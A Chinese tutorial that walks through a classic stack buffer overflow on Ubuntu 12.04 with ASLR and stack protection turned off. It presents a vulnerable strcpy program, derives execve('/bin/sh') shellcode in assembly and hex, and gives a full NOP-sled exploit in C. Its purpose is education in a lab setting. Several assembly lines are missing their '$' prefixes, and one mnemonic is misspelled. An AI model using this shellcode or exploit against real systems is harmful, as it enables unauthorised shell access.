实验环境 :Ubuntu 12.04 i386
缓冲区溢出攻击是黑客攻击的入门攻击,但是由于现在的编译器和系统进行了多种防护,导致缓冲区溢出攻击非常具有挑战性。
这里只演示简单的缓冲区溢出的原始做法。
在实验之前,先关闭ASLR保护,sudo echo "0" > /proc/sys/kernel/randomize_va_space
编译程序时使用该命令:gcc -fno-stack-protector -z execstack -o hello hello.c,关闭编译器的栈保护。
缓冲区溢出攻击的大致原理是:通过修改返回地址,改变程序的执行流程,执行攻击者设置的一段代码。
具体的细节就不展开介绍了,大家可以参考这一篇经典文章,《Smashing the stack for fun and profit》,中文译文:https://blog.csdn.net/weixin_34367257/article/details/89730743。我的代码也是取自这里。
先来看一个程序
//仅用于演示,实际执行时由于环境的不同,结果不同
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
这是取自《Smashing the stack for fun and profit》的一段代码,其中的数字不一定适合自己的环境,可以用gdb调一下。 ret = buffer1 + 12 buffer1是一个地址,可以理解为缓冲区的起始地址,加12得到返回地址的位置,即ret的值。 (*ret) += 8 (*ret)是ret指向位置的值,即返回地址。现在使其加8,即返回地址增加8,这会使程序从函数function返回后跳过x =1这条语句,直接执行printf()。这样就修改了程序的执行流程。
缓冲区溢出攻击和这比较相似,利用了有缺陷的函数,比如strcpy这种不检查边界的函数,直接覆盖返回地址,从而使程序执行攻击者想要的部分,如shellcode(获取shell的代码)。
下面进行攻击的演示。
这是一个被攻击的程序。这里设置了一个512字节的buffer,调用了strcpy函数为其赋值,如果argv[1]的大小超过512个字节,就会发生缓冲区溢出。
//vulnerable.c
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
void main(int argc, char *argv[]) {
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
然后构造shellcode。
先给出shellcode的C语言描述。可以运行该代码,发现获取shell,这是因为execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序,而其实体是/bin/bash,即linux的shell。我们真正要构造的shellcode其实是execve这一行,可以使用静态链接的方法用gdb反汇编得到main和execve的完整汇编代码,作为编写实际shellcode的汇编代码的依据。
#include<unistd.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
根据我们的实验原理,有如下步骤:
a) 把以NULL
结尾的字串"/bin/sh"
放到内存某处.
b) 把字串"/bin/sh"
的地址放到内存某处, 后面跟一个空的长字(null long word).
c) 把0xb
放到寄存器EAX中.
d) 把字串"/bin/sh"
的地址放到寄存器EBX中.
e) 把字串"/bin/sh"
地址的地址放到寄存器ECX中.
f) 把空长字的地址放到寄存器EDX中.
g) 执行指令int x80
.
h) 把0x1
放到寄存器EAX中.
i) 把0x0
放到寄存器EBX中.
j) 执行指令int x80
.
根据这些写出汇编代码
movl string_addr,string_addr_addr
movb x0,null_byte_addr
movl x0,null_addr
movl xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int x80
movl x1, %eax
movl x0, %ebx
int x80
/bin/sh string goes here.
但是我们面临着一个问题:不能事先知道上述代码会被放到程序的内存空间中的哪个位置,因此我们要采用相对寻址方式,利用可以获取的绝对地址和call、jmp指令跳转到这个位置。更改如下。
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb x0,nullbyteoffset(%esi)# 4 bytes
movl x0,null-offset(%esi) # 7 bytes
movl xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int x80 # 2 bytes
movl x1, %eax # 5 bytes
movl x0, %ebx # 5 bytes
int x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
经计算,用实际数值替换掉里面的偏移量,如下:
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb x0,0x7(%esi) # 4 bytes
movl x0,0xc(%esi) # 7 bytes
movl xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int x80 # 2 bytes
movl x1, %eax # 5 bytes
movl x0, %ebx # 5 bytes
int x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
由此,得到相应的16进制代码:
\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3
但是,任何x00都会被strcpy当作字符串的末尾,导致后面的字符串无法被复制。因此,我们要消除x00字符,途径是修改用到的部分汇编指令。
修改前 修改后
movb x0,0x7(%esi) xorl %eax,%eax
molv x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
-------------------------------------
movl xb,%eax movb xb,%al
-------------------------------------
movl x1, %eax xorl %ebx,%ebx
movl x0, %ebx movl %ebx,%eax
inc %eax
然后我们得到了所需的shellcode的16进制代码:\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
最后,构造攻击代码如下
//exploit
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("Using address: 0x%lx\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
for (i = 0; i < bsize/2; i++)
buff[i] = NOP;
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");
}
这段代码的原理:
1. 获取一个可以利用的绝对地址:使用get_sp获取sp的当前值,即栈顶的地址。然后由此可以进行相对寻址的操作。
2. 执行流程转到shellcode: 当argc==2时,如果把argv[1]==612,那么addr是buff中一个比较靠近开始开始位置(约为第100个单元)。把所有的buff单元都设置成addr的值。然后把buff的前一半都设置为nop,即空指令。然后再把shellcode放在buff中间的部分,最后把buff的最后一个单元设置为'\0',即字符串的结尾。这样,当buff复制给vulnerable的512个字节的buffer时,除了512个字节被赋值,还有100个字节被覆盖,其中就包括返回地址,返回地址被设置为上述的addr。当vulnerable调用完strcpy要返回时,返回地址为addr,则跳转到buffer的addr位置,然后经过一些nop指令,逐渐到shellcode部分,接着执行shellcode,实现了攻击的目的。
./vulnerable $EGG后获得了shell,效果如下: